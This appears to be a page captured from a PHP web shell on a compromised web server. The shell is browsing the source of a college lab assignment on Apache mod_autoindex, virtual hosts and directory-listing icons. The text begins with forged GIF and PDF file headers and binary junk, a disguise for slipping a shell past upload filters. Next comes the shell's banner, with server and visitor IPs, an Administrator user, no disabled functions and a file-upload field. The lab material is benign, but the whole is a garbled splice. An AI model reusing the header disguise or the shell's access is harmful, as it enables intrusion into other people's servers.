GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab04/ |
Upload File : |
<? // JimMartinson/CST1611/Lab04.phpinc require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $dataFolder = '/var/www/html'; $apacheFolder = $dataFolder; $dirSep = '/'; $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. $winClass = ''; $linClass = ' hidden '; if ( is_null($_SESSION['userDefaultDrive']) && $_SESSION['userDataFolder'] != '' ) { $winClass = ' hidden '; $linClass = ''; } ?> <fieldset id="description"><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate the ability to use directives from the <tt>mod_autoindex</tt> module. <br><?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend> <ol id="main" class="count"> <!-- 1 --> <li>Setup a directory for this lab. <ol> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li> <li>Create a text file called <b class="copyText"><?=$saveFilename?>.txt</b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> </ol> </li> <!-- 2 --> <li>Setup a Name-based Virtual Host for use in <?=$evaluationType?> <?=$evaluationNumber?>. <ol> <!-- 3.1 --> <li>Edit your <b>hosts</b> file and add a host definition. <ol> <li>Open your <b>hosts</b> file in a text editor.</li> <li>At the bottom of the file add the comment: <code class="copyText"># <?=$evaluationType?> <?=$evaluationNumber?></code>.</li> <li>Enter the line <code class="copyText">127.0.0.1 <?=$evaluationName?>.test</code> below that.</li> <li>Save your changes.</li> <li>Verify the <b><?=$evaluationName?>.test</b> host works. <ol> <li>Open up a browser.</li> <li>Enter <b><?=$evaluationName?>.test</b> in the address bar and hit enter. You should see a page similar to:<br> <? require('common/Browser/Browser.phpinc'); BrowserBegin('Index of /','http://'.$evaluationName.'.test/',600); ?> <h1 style="text-align:left;">Index of /</h1> <ul type="disc"> <li><a href="#1" onClick="return false;"><?=$courseNumber?></a></li> </ul> <br> <? BrowserEnd(); ?> </li> </ol> </li> </ol> </li> <!-- 3.2 --> <li>Use the <code>VirtualHost</code> directive to create a Name-based VirtualHost for the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <ol> <li>Create your virtualhost config file (lab04.test.conf).</li> <li>Copy the default localhost VirtualHost directive lines, exclude the alias and redirect lines. (000-default.conf)</li> <li class="count">Follow the <a href="../LabHostSetup/?evaluationName=<?=$evaluationName?>&ht=<?=$evaluationName?>.test&vh=<?=$evaluationName?>.test&dr=<?=$evaluationName?>&au=true" target="_blank">instructions here</a> to create a <code>VirtualHost</code> for this lab.</li> <li>Verify the <code>VirtualHost</code> works. <ol> <li>Restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b><?=$evaluationName?>.test</b> in the address bar and hit enter. You should see a page similar to:<br> <? BrowserBegin('Index of /','http://'.$evaluationName.'.test/',600); ?> <h1 style="text-align:left;">Index of /</h1> <ul type="disc"> <li><a href="#2" onClick="return false;">!<?=$saveFilename?>.txt</a></li> </ul> <br> <? BrowserEnd(); ?> </li> </ol> </li> </ol> </li> <!-- 3.3 --> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_host.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your screenshot before saving the image. </li> </ol> </li> <!-- 3 --> <li>Stop the example autoindex conf file from being loaded. <ol> <li>sudo a2dismod autoindex -f<br></li> <li>Restart Apache.</li> </ol> </li> <!-- 4 --> <li>Copy the example autoindex conf file to your Apache conf directory.<br> <span id="spn_lin_4" > <br> You need to copy the following and save it in a <b>my-autoindex.conf</b> file in your <b>/etc/apache2</b> directory as a starting point for this lab. <pre class="code copyText"><? require('my-autoindex.conf'); ?></pre> </span> </li> <!-- 5--> <li>Include the my-autoindex.conf file into your Apache config. <ol> <!-- 5.0 --> <li>Edit your Apache config (lab04.text.conf). Insert an <code>LoadModule</code> as shown in this weeks video</li> <!-- 5.1 --> <li>Edit your Apache config (lab04.text.conf). Insert an <code>Include</code> directive for the <b>my-autoindex.conf</b> file.</li> <!-- 5.2 --> <li>Save your changes.</li> <!-- 5.3 --> <li>Verify the <code>VirtualHost</code> works. <ol> <!-- 5.3.1 --> <li>Restart Apache.</li> <!-- 5.3.2 --> <li>Open up a browser.</li> <!-- 5.3.3 --> <li>Enter <b><?=$evaluationName?>.test</b> in the address bar and hit enter. You should see a page similar to:<br> <? BrowserBegin('Index of /','http://'.$evaluationName.'.test/',600); ?> <h1 style="text-align:left;">Index of /</h1> <table class="list"> <tr> <td></td> <th class="center"><a href="#3">Name</a></th> <th class="center"><a href="#3">Last modified</a></th> <th class="center"><a href="#3">Size</a></th> <th class="center"><a href="#3">Description</a></th> </tr> <tr><td colspan="5"><hr></td></tr> <? $fileList = array( $saveFilename.'.txt', $saveFilename.'_host.png', ); sort($fileList); $fileImages = array( $saveFilename.'.txt' => 'text', $saveFilename.'_host.png' => 'image2', ); $fileSizes = array( $saveFilename.'.txt' => '0', $saveFilename.'_host.png' => '20K', ); foreach ($fileList as $fileName) { ?> <tr> <td><img src="<?=$fileImages[$fileName]?>.png" width="20" height="22" alt="<?=$fileImages[$fileName]?>"></td> <td><a href="#4" onClick="return false;"><?=fileTwentyThree($fileName)?></a></td> <td><?=date('d-M-Y H:i')?></td> <td><?=$fileSizes[$fileName]?></td> <td></td> </tr> <? } ?> <tr><td colspan="5"><hr></td></tr> </table> <br> <? BrowserEnd(); ?> </li> </ol> </li> <!-- 5.4 --> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_httpd.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your screenshot before saving the image. </li> </ol> </li> <!-- 6 --> <li>Setup <code>IndexOptions</code> with <code>FancyIndexing</code>, <code>NameWidth=*</code>, <code>SuppressDescription</code> and new icons. <br><b>Important!</b> All directives for this step must be between the <code></Directory></code> and <code></VirtualHost></code> directives in the <?=$evaluationName?>.test <code>VirtualHost</code> <ol> <!-- 6.1 --> <li>We need some files in the <b><?=$evaluationName?></b> directory to use with <b>mod_autoindex</b>. <ol> <li>Create a file called <b>This is a text file with a very long name for testing Lab 4.txt</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Download <b><a href="ping1.wav">ping1.wav</a></b> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Download <b><a href="<?=$evaluationName?>-Browser.php"><?=$evaluationName?>.html</a></b> file and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> <li>Download <b><a href="<?=$evaluationName?>-Browser-ooga.php">Test.ooga</a></b> file and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li> </ol> </li> <!-- 6.2 --> <li>Verify that you have all the files in your <b><?=$evaluationName?></b> directory. <ol> <li>Refresh your browser. You should see a page similar to:<br> <? BrowserBegin('Index of /','http://'.$evaluationName.'.test/',800); ?> <h1 style="text-align:left;">Index of /</h1> <table class="list"> <tr> <td></td> <th class="center"><a href="#3">Name</a></th> <th class="center"><a href="#3">Last modified</a></th> <th class="center"><a href="#3">Size</a></th> <th class="center"><a href="#3">Description</a></th> </tr> <tr><td colspan="5"><hr></td></tr> <? $fileList = array( '!'.$saveFilename.'.txt', $saveFilename.'_host.png', $saveFilename.'_httpd.png', $evaluationName.'.html', 'Test.ooga', 'This is a text file with a very long name for testing Lab 4.txt', 'ping.wav', ); sort($fileList); #natcasesort($fileList); $fileImages = array( '!'.$saveFilename.'.txt' => 'text', $saveFilename.'_host.png' => 'image2', $saveFilename.'_httpd.png' => 'image2', $evaluationName.'.html' => 'text', 'Test.ooga' => 'unknown', 'This is a text file with a very long name for testing Lab 4.txt' => 'text', 'ping.wav' => 'sound2', ); $fileSizes = array( '!'.$saveFilename.'.txt' => '0', $saveFilename.'_host.png' => '20K', $saveFilename.'_httpd.png' => '20K', $evaluationName.'.html' => '378', 'Test.ooga' => '385', 'This is a text file with a very long name for testing Lab 4.txt' => '0', 'ping.wav' => '64K', ); foreach ($fileList as $fileName) { ?> <tr> <td><img src="<?=$fileImages[$fileName]?>.png" width="20" height="22" alt="<?=$fileImages[$fileName]?>"></td> <td><a href="#4" onClick="return false;"><?=fileTwentyThree($fileName)?></a></td> <td><?=date('d-M-Y H:i')?></td> <td><?=$fileSizes[$fileName]?></td> <td></td> </tr> <? } ?> <tr><td colspan="5"><hr></td></tr> </table> <br> <? BrowserEnd(); ?> </li> </ol> </li> <!-- 6.3 --> <li>Setup icons for Apache to use with <b>FancyIndexing</b>. <ol> <li>Create the following Directives: <ol> <li>An <tt>Alias</tt> directive from <b>/icons</b> to <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>icons</b></li> <li>An <tt>AddIcon</tt> directive for <b>/icons/directory.gif ^^DIRECTORY^^</b>.</li> <li>An <tt>AddIcon</tt> directive for <b>/icons/html.gif .htm .html .shtml</b>.</li> <li>An <tt>AddIcon</tt> directive for <b>/icons/text.gif .doc .txt README</b>.</li> <li>An <tt>AddIcon</tt> directive for <b>/icons/wav.gif .wav</b>.</li> <li>An <tt>AddIcon</tt> directive for <b>/icons/image2.gif .gif .jpg .png</b>.</li> <li>An <tt>DefaultIcon</tt> directive of <b>/icons/unknown.gif</b>.</li> </ol> <span style="color:#FF6600"><b>NOTE:</b> Normally Apache icons are kept in the <b>/icons</b> directory under the Apache <tt>ServerRoot</tt> directory. We are only using the <b><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/icons</b> directory for purposes of this lab.</span> </li> <li>Save your changes.</li> <li>Create a directory called <b>icons</b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. We will use it to store the icons used by Apache for FancyIndexing.</li> <li>Download or copy the following files into your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>icons</b> directory:</li> <ol> <li>Download <img src="html.gif/html.gif" alt="html icon"> <a href="html.gif">html.gif</a>.</li> <li>Download <img src="directory.gif/directory.gif" alt="directory icon"> <a href="directory.gif">directory.gif</a>.</li> <li>Download <img src="text.gif/text.gif" alt="text icon"> <a href="text.gif">text.gif</a>.</li> <li>Download <img src="unknown.gif/unknown.gif" alt="unknown icon"> <a href="unknown.gif">unknown.gif</a>.</li> <li>Download <img src="wav.gif/wav.gif" alt="wav icon"> <a href="wav.gif">wav.gif</a>.</li> <li>Copy <b>blank.gif</b> from your Apache icons folder.</li> <li>Copy <b>back.gif</b> from your Apache icons folder.</li> <li>Copy <b>image2.gif</b> from your Apache icons folder.</li> </ol> </ol> </li> <!-- 6.4 --> <li>Verify that your <b>Directory</b> definition and <b>IndexOptions FancyIndexing</b> directive works. <ol> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b><?=$evaluationName?>.test</b> in the address bar and hit enter. You should see a page similar to:<br> <? BrowserBegin('Index of /','http://'.$evaluationName.'.test/',800); ?> <h1 style="text-align:left;">Index of /</h1> <table class="list"> <tr> <td></td> <th class="center"><a href="#3">Name</a></th> <th class="center"><a href="#3">Last modified</a></th> <th class="center"><a href="#3">Size</a></th> <th class="center"><a href="#3">Description</a></th> </tr> <tr><td colspan="5"><hr></td></tr> <? $fileList = array( '!'.$saveFilename.'.txt', $saveFilename.'_host.png', $saveFilename.'_httpd.png', $evaluationName.'.html', 'Test.ooga', 'This is a text file with a very long name for testing Lab 4.txt', 'ping.wav', 'icons', ); sort($fileList); #natcasesort($fileList); $fileImages = array( '!'.$saveFilename.'.txt' => 'text', $saveFilename.'_host.png' => 'image2', $saveFilename.'_httpd.png' => 'image2', $evaluationName.'.html' => 'text', 'Test.ooga' => 'unknown', 'This is a text file with a very long name for testing Lab 4.txt' => 'text', 'ping.wav' => 'sound2', 'icons' => 'directory', ); $fileSizes = array( '!'.$saveFilename.'.txt' => '0', $saveFilename.'_host.png' => '20K', $saveFilename.'_httpd.png' => '20K', $evaluationName.'.html' => '378', 'Test.ooga' => '385', 'This is a text file with a very long name for testing Lab 4.txt' => '0', 'ping.wav' => '64K', 'icons' => '0', ); foreach ($fileList as $fileName) { ?> <tr> <td><img src="<?=$fileImages[$fileName]?>.png" width="20" height="22" alt="<?=$fileImages[$fileName]?>"></td> <td><a href="#4" onClick="return false;"><?=fileTwentyThree($fileName)?></a></td> <td><?=date('d-M-Y H:i')?></td> <td><?=$fileSizes[$fileName]?></td> <td></td> </tr> <? } ?> <tr><td colspan="5"><hr></td></tr> </table> <br> <? BrowserEnd(); ?> </li> </ol> </li> <!-- 6.5 --> <li>Download or create an icon for file type <b>.ooga</b> and save it in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?><?=$dirSep?>icons</b> directory. <br>Make sure that the icon is a .gif, jpg, or ,png file and that the size is appropriate for an Apache icon. <br>Name the file ooga.gif if it is a gif format image, and ooga.jpg if it is a jpg format image, or ooga.png if it is a png format image. </li> <!-- 6.6 --> <li>Open up your Apache <b>my-autoindex.conf</b> file and add an <tt>AddIcon</tt> directive for your icon file and the <b>.ooga</b> file type. <br>Place this directive after those from step 6.3. </li> <!-- 6.7 --> <li>Add an <tt>IndexOptions</tt> directive with the following options: <br>Place this directive after the one from step 6.6. <ol> <li><b>FancyIndexing</b>.</li> <li><b>NameWidth=*</b></li> <li><b>HTMLTable</b>.</li> <li><b>FoldersFirst</b>.</li> <li><b>IgnoreCase</b>.</li> <li><b>SuppressDescription</b>.</li> <li><b>VersionSort</b>.</li> </ol> <!-- 6.8 --> <li>Stop and restart Apache and reload your browser You should see a page similar to (except your new ooga.gif icon should show up for the Test.ooga file):<br> <? BrowserBegin('Index of /','http://'.$evaluationName.'.test/',800); ?> <h1 style="text-align:left;">Index of /</h1> <table class="list"> <tr> <td></td> <th class="center"><a href="#3">Name</a></th> <th class="center"><a href="#3">Last modified</a></th> <th class="center"><a href="#3">Size</a></th> <th class="center"><a href="#3">Description</a></th> </tr> <tr><td colspan="5"><hr></td></tr> <? $fileList = array( 'icons', ); natcasesort($fileList); $fileImages = array( 'icons' => 'directory', ); $fileSizes = array( 'icons' => '0', ); foreach ($fileList as $fileName) { ?> <tr> <td><img src="<?=$fileImages[$fileName]?>.png" width="20" height="22" alt="<?=$fileImages[$fileName]?>"></td> <td><a href="#4" onClick="return false;"><?=($fileName)?></a></td> <td><?=date('d-M-Y H:i')?></td> <td><?=$fileSizes[$fileName]?></td> <td></td> </tr> <? } ?> <? $fileList = array( '!'.$saveFilename.'.txt', $saveFilename.'_host.png', $saveFilename.'_httpd.png', $evaluationName.'.html', 'Test.ooga', 'This is a text file with a very long name for testing Lab 4.txt', 'ping.wav', ); natcasesort($fileList); $fileImages = array( '!'.$saveFilename.'.txt' => 'text', $saveFilename.'_host.png' => 'image2', $saveFilename.'_httpd.png' => 'image2', $evaluationName.'.html' => 'text', 'Test.ooga' => 'ooga', 'This is a text file with a very long name for testing Lab 4.txt' => 'text', 'ping.wav' => 'sound2', ); $fileSizes = array( '!'.$saveFilename.'.txt' => '0', $saveFilename.'_host.png' => '20K', $saveFilename.'_httpd.png' => '20K', $evaluationName.'.html' => '378', 'Test.ooga' => '385', 'This is a text file with a very long name for testing Lab 4.txt' => '0', 'ping.wav' => '64K', ); foreach ($fileList as $fileName) { ?> <tr> <td><img src="<?=$fileImages[$fileName]?>.png" width="20" height="22" alt="<?=$fileImages[$fileName]?>"></td> <td><a href="#4" onClick="return false;"><?=($fileName)?></a></td> <td><?=date('d-M-Y H:i')?></td> <td><?=$fileSizes[$fileName]?></td> <td></td> </tr> <? } ?> <tr><td colspan="5"><hr></td></tr> </table> <br> <? BrowserEnd(); ?> </li> <!-- 6.9 --> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_ooga.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your screenshot before saving the image. </li> </ol> </li> <!-- 7 --> <li>Turn in your assignment: <ol type="a"> <li>Copy your <b>hosts</b> and <b>lab04.test.conf</b> file into your <b><?=$evaluationName?></b> folder.</li> <li>Ensure the following folder and files are in your <b><?=$evaluationName?></b> folder:<? $folderList = array( 'icons', ); showFileList($folderList,'folder'); $fileList = array( $saveFilename.'.txt', $saveFilename.'_host.png', $saveFilename.'_httpd.png', $saveFilename.'_ooga.png', 'hosts', 'lab04.test.conf', 'my-autoindex.conf', 'Test.ooga', 'This is a text file with a very long name for testing Lab 4.txt', ); showFileList($fileList); ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading. </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> <?=$gradeNote?> </fieldset> <script> // SwapWinMacLinux(ShowOS,IdNumber) // Swap between Windows, Mac, and Linux instructions. Will show ol and hide spn and inp elements for the ShowOS. // ShowOS = the OS to show instructions for. // IdNumber = the IdNumber of the instruction. function SwapWinMacLinux(ShowOS,IdNumbers) { console.warn('SwapWinMacLinux[ShowOS='+ShowOS+',IdNumbers='+IdNumbers+']'); console.log('IdNumbers='+IdNumbers+' typeof IdNumbers='+(typeof IdNumbers)); if ( typeof IdNumbers == 'number' ) { IdNumbers = [IdNumbers] ; } // Convert single IdNumbers to array. var e; var Element; var ElementHides = ['inp']; // Hide these elements for ShowOS and show them for other OSes. var ElementId; var ElementShows = ['div','spn','ol']; // Show these elements for ShowOS and hide them for other OSes. var ElementType; var h; var i; var IdNumber; var OtherOS; var OtherOSes; switch ( ShowOS ) { case 'lin': OtherOSes = ['mac','win']; break; case 'mac': OtherOSes = ['lin','win']; break; case 'win': OtherOSes = ['lin','mac']; break; } console.log('OtherOSes='+OtherOSes); for ( i=0; i<IdNumbers.length; i++ ) { // Loop thru IdNumbers. IdNumber = IdNumbers[i]; // Hide ShowOS button. console.warn('Hide ShowOS button.'); for ( e=0; e<ElementHides.length; e++ ) { ElementType = ElementHides[e]; ElementId = ElementType+'_'+ShowOS+'_'+IdNumber; console.log('Hide '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? Element.style.display = 'none'; } else { // Does the ElementId element exist? console.log(ElementId+' not found to hide.'); } // Does the ElementId element exist? } // Show other OS buttons. console.warn('Show other OS buttons.'); for ( h=0; h<OtherOSes.length; h++ ) { // Loop thru OtherOSes. OtherOS = OtherOSes[h]; for ( e=0; e<ElementHides.length; e++ ) { ElementType = ElementHides[e]; ElementId = ElementType+'_'+OtherOS+'_'+IdNumber; console.log('Show '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? StyleDisplay = DisplayStyle(ElementType,Element); Element.style.display = StyleDisplay; console.log(ElementId+'.style.display='+StyleDisplay); } else { console.log(ElementId+' not found to show.'); } // Does the ElementId element exist? } } // Loop thru OtherOSes. // Hide other OS span and instructions. console.warn('Hide other OS span and instructions.'); for ( h=0; h<OtherOSes.length; h++ ) { // Loop thru OtherOSes. OtherOS = OtherOSes[h]; for ( e=0; e<ElementShows.length; e++ ) { // Loop thru ElementShows. ElementType = ElementShows[e]; ElementId = ElementType+'_'+OtherOS+'_'+IdNumber; Element = document.getElementById(ElementId); console.log('Hide '+ElementId+'.'); if ( Element ) { // Does the ElementId element exist? Element.style.display = 'none'; } else { console.log(ElementId+' not found to hide.'); } // Does the ElementId element exist? } // Loop thru ElementShows. } // Loop thru OtherOSes. // Show ShowOS span and instructions. console.warn('Show ShowOS span and instructions.'); for ( e=0; e<ElementShows.length; e++ ) { // Loop thru ElementShows. ElementType = ElementShows[e]; ElementId = ElementType+'_'+ShowOS+'_'+IdNumber; console.log('Show '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? StyleDisplay = DisplayStyle(ElementType,Element); Element.style.display = StyleDisplay; console.log(ElementId+'.style.display='+StyleDisplay); } else { console.log(ElementId+' not found to show.'); } // Does the ElementId element exist? } // Loop thru ElementShows. } // Loop thru IdNumbers. return false; } // END SwapWinMacLinux. // DisplayStyle(element) function DisplayStyle(Type,Element) { //console.warn('DisplayStyle[Type='+Type+',Element='+Element.id+']'); var StyleDisplay = Element.style.display; //console.log('StyleDisplay='+StyleDisplay); if ( StyleDisplay === '' || StyleDisplay === 'none' ) { // Is the StyleDisplay empty? var StyleDisplays = { div:'block', inp:'inline', ol:'block', spn:'inline' }; switch ( Type ) { // Switch Type. case 'div': StyleDisplay = StyleDisplays[Type]; break; case 'inp': case 'ol': case 'spn': StyleDisplay = StyleDisplays[Type]; break; default: StyleDisplay = 'inline'; } // Switch Prefix. //console.log('StyleDisplay='+StyleDisplay); } return StyleDisplay; } </script> <? function fileTwentyThree($filename) { if ( strlen($filename) > 23) { $filename = substr($filename,0,20) . '..>'; } return $filename; } require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; require('common/pageFooter.phpinc'); ?>